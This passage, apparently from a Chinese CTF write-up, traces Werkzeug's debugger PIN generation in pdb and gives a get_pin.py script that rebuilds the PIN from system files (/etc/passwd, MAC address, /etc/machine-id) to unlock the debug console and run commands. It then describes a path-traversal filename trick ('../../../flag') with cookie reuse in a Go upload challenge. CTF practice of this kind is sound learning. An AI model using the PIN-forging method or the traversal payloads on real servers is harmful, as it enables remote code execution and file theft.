> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(309)_get_pin()
-> if not hasattr(self, "_pin"):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(310)_get_pin()
-> self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(148)get_pin_and_cookie_name()
-> def get_pin_and_cookie_name(app):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(156)get_pin_and_cookie_name()
-> pin = os.environ.get("WERKZEUG_DEBUG_PIN")
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(157)get_pin_and_cookie_name()
-> rv = None
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(158)get_pin_and_cookie_name()
-> num = None
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(161)get_pin_and_cookie_name()
-> if pin == "off":
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(165)get_pin_and_cookie_name()
-> if pin is not None and pin.replace("-", "").isdigit():
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(172)get_pin_and_cookie_name()
-> modname = getattr(app, "__module__", app.__class__.__module__)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(174)get_pin_and_cookie_name()
-> try:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(178)get_pin_and_cookie_name()
-> username = getpass.getuser()
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(182)get_pin_and_cookie_name()
-> mod = sys.modules.get(modname)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(187)get_pin_and_cookie_name()
-> username,
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(188)get_pin_and_cookie_name()
-> modname,
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(189)get_pin_and_cookie_name()
-> getattr(app, "__name__", app.__class__.__name__),
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(190)get_pin_and_cookie_name()
-> getattr(mod, "__file__", None),
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(196)get_pin_and_cookie_name()
-> private_bits = [str(uuid.getnode()), get_machine_id()]
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(198)get_pin_and_cookie_name()
-> h = hashlib.md5()
# 这里可以看到和上边得到的信息是一致的
(Pdb) pp probably_public_bits
['root', # username [用户名] : root
 'flask.app', # modname [模块名] : flask.app
 'Flask', # getattr(app, "__name__", app.__class__.__name__) [当前app名称] : Flask
 '/usr/lib/python2.7/dist-packages/flask/app.pyc'] # getattr(mod, "__file__", None) [模块文件路径] : /usr/lib/python2.7/dist-packages/flask/app.pyc
(Pdb) pp private_bits
['61355383586047', '81c09063023a48b1bb4263a720436c46'] # str(uuid.getnode()) [MAC地址的10进制值] : 61355383586047, get_machine_id() [当前机器id] : 81c09063023a48b1bb4263a720436c46
(Pdb) n
# 开始生成 (username + modname + 当前app名称 + 模块文件路径 + MAC地址的10进制值 + 当前机器id + 'cookiesalt' + 'pinsalt') 格式的md5值
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(200)get_pin_and_cookie_name()
-> if not bit:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(202)get_pin_and_cookie_name()
-> if isinstance(bit, text_type):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(204)get_pin_and_cookie_name()
-> h.update(bit)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(200)get_pin_and_cookie_name()
-> if not bit:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(202)get_pin_and_cookie_name()
-> if isinstance(bit, text_type):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(204)get_pin_and_cookie_name()
-> h.update(bit)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(200)get_pin_and_cookie_name()
-> if not bit:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(202)get_pin_and_cookie_name()
-> if isinstance(bit, text_type):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(204)get_pin_and_cookie_name()
-> h.update(bit)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(200)get_pin_and_cookie_name()
-> if not bit:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(202)get_pin_and_cookie_name()
-> if isinstance(bit, text_type):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(204)get_pin_and_cookie_name()
-> h.update(bit)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(200)get_pin_and_cookie_name()
-> if not bit:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(202)get_pin_and_cookie_name()
-> if isinstance(bit, text_type):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(204)get_pin_and_cookie_name()
-> h.update(bit)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(200)get_pin_and_cookie_name()
-> if not bit:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(202)get_pin_and_cookie_name()
-> if isinstance(bit, text_type):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(204)get_pin_and_cookie_name()
-> h.update(bit)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(205)get_pin_and_cookie_name()
# 第一个常量
-> h.update(b"cookiesalt")
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(207)get_pin_and_cookie_name()
-> cookie_name = "__wzd" + h.hexdigest()[:20]
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(211)get_pin_and_cookie_name()
-> if num is None:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(199)get_pin_and_cookie_name()
-> for bit in chain(probably_public_bits, private_bits):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(212)get_pin_and_cookie_name()
# 第二个常量
-> h.update(b"pinsalt")
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(213)get_pin_and_cookie_name()
# 取md5转换为10进制的前9位数字
-> num = ("%09d" % int(h.hexdigest(), 16))[:9]
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(217)get_pin_and_cookie_name()
-> if rv is None:
# 得到9位数字
(Pdb) pp num
'181854900'
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(218)get_pin_and_cookie_name()
-> for group_size in 5, 4, 3:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(219)get_pin_and_cookie_name()
-> if len(num) % group_size == 0:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(218)get_pin_and_cookie_name()
-> for group_size in 5, 4, 3:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(219)get_pin_and_cookie_name()
-> if len(num) % group_size == 0:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(218)get_pin_and_cookie_name()
-> for group_size in 5, 4, 3:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(219)get_pin_and_cookie_name()
-> if len(num) % group_size == 0:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(220)get_pin_and_cookie_name()
-> rv = "-".join(
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(221)get_pin_and_cookie_name()
-> num[x : x + group_size].rjust(group_size, "0")
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(222)get_pin_and_cookie_name()
-> for x in range(0, len(num), group_size)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(224)get_pin_and_cookie_name()
-> break
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(228)get_pin_and_cookie_name()
-> return rv, cookie_name
# 得到每3个字符用 '-' 连接,得到pin码
(Pdb) pp rv
'181-854-900'
(Pdb)  
  • 得到的pin码为:181-584-900

​ 那么现在结束调试,直接写一个简单的 get_pin.py 脚本来利用已知信息生成pin码:

from itertools import chain
from hashlib import md5

def get_pin():

    probably_public_bits = [
        "root", #username : /etc/passwd
        "flask.app", #modname
        "Flask", #getattr(app, "__name__", app.__class__.__name__),
        "/usr/lib/python2.7/dist-packages/flask/app.pyc" #getattr(mod, "__file__", None),
    ]

    private_bits = [
    
        "61355383586047", # mac_address : /sys/class/net/eth0/address
        "81c09063023a48b1bb4263a720436c46" # machine-id : /etc/machine-id | /proc/sys/kernel/random/boot_id + /proc/self/cgroup
        
    ]

    h = md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        h.update(bit.encode("utf-8"))
    h.update(b"cookiesalt")
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]
    
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size))
    
    print(rv)
    
get_pin()

​ 得到结果:

image-20201122151129028.png

​ 这里的结果为:181-854-900 和上边生成的pin码是一致的。

image-20201122151335587.png

​ 简单的利用:

image-20201122151426987.png

​ 然后执行命令:

image-20201122151609642.png

​ 最后总结一下所需信息如何获取:

username [用户名] : root # 读 /etc/passwd
modname [模块名] : flask.app # 一般固定
getattr(app, "__name__", app.__class__.__name__) [当前app名称] : Flask # 一般固定
getattr(mod, "__file__", None) [模块文件路径] : /usr/lib/python2.7/dist-packages/flask/app.pyc # 根据debug错误页面得到路径
str(uuid.getnode()) [MAC地址的10进制值] : 61355383586047 # 读 /sys/class/net/eth*/address
get_machine_id() [当前机器id]81c09063023a48b1bb4263a720436c46 # 读 /etc/machine-id 如果读不到就去读 /proc/sys/kernel/random/boot_id, 然后再读 /proc/self/cgroup , 取第一行从右往左第一个 '/' 右边的内容

easygogogo:

​ 据说是一个极为脑洞的题目,有一个上传页面,和一个显示页面。显示页面会通过cookie的值,将上传的文件内容(应该说是cookie里边记录的文件路径)用 <img src='data:image/jpeg;base64,[文件内容的base64编码]'> 显示在页面上。

​ 在上传页面可以通过更改文件名 ‘../../../proc/self/environ’ 或 ‘../../../proc/self/cmdline’ 读到是go写的内容。不过这并没有啥用,这是一个脑洞题。

​ 第一步先构造 ‘../../../flag’ 的文件名,然后随便上传一点内容,记录得到的cookie。

​ 第二步重启容器,用那个cookie去访问显示页面,就会得到flag了。


来个后记吧:

​ 没啥好说的,就当作是练习做做题好了。♪(^∇^*)